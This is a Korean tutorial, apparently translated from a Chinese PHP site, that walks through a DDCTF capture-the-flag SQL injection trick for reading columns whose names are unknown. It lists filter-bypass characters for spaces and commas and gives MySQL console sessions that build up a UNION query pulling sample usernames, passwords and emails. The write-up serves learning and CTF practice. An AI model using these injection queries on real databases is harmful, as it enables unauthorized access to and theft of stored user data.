집 >데이터 베이스 >MySQL 튜토리얼 >MySQL이 알 수 없는 필드 이름을 우회하는 방법에 대한 자세한 설명
이 글은 MySQL이 알 수 없는 필드 이름을 교묘하게 우회하는 방법에 대한 관련 정보를 주로 소개합니다. 이 글은 MySQL을 학습하는 데 필요한 참고 자료와 학습 가치를 제공합니다. 우리와 함께 살펴보세요. 모두에게 도움이 되기를 바랍니다.
머리말
이 글에서는 알 수 없는 필드 이름을 우회하는 기술인 DDCTF의 다섯 번째 질문을 소개합니다. 여기서는 이 기계를 사용하여 그 아이디어를 공유하고 싶습니다. 자세한 소개에서:
구현 아이디어
공백은 %0a, %0b, %0c, %0d, %a0을 사용하여 무시할 수 있으며, 쉼표는 조인을 사용하여 직접 무시할 수 있습니다.
플래그를 저장하는 필드 이름을 알 수 없으며 information_schema.columns도 테이블 이름의 16진수를 필터링합니다. 즉, 필드 이름을 얻을 수 없는 경우 공동 쿼리를 사용할 수 있으며 프로세스는 다음과 같습니다.
플래그를 가져와 알려진 필드 이름 아래에 표시하도록 하는 아이디어입니다.
샘플 코드:
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user; +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | +---+-------+----------+-------------+ | 1 | 2 | 3 | 4 | | 1 | admin | admin888 | 110@110.com | | 2 | test | test123 | 119@119.com | | 3 | cs | cs123 | 120@120.com | +---+-------+----------+-------------+ 4 rows in set (0.01 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e; +-------------+ | 4 | +-------------+ | 4 | | 110@110.com | | 119@119.com | | 120@120.com | +-------------+ 4 rows in set (0.03 sec) mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; +-------------+ | 4 | +-------------+ | 120@120.com | +-------------+ 1 row in set (0.01 sec) mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i; +-------------+----------+----------+-------------+ | id | username | password | email | +-------------+----------+----------+-------------+ | 1 | admin | admin888 | 110@110.com | | 120@120.com | 1 | 1 | 1 | +-------------+----------+----------+-------------+ 2 rows in set (0.04 sec)
관련 권장 사항:
MySQL에서 느린 쿼리 로그를 활성화하는 방법에 대한 자세한 설명
Linux 서버의 MySQL 원격 연결 방법에 대한 자세한 설명
위 내용은 MySQL이 알 수 없는 필드 이름을 우회하는 방법에 대한 자세한 설명의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!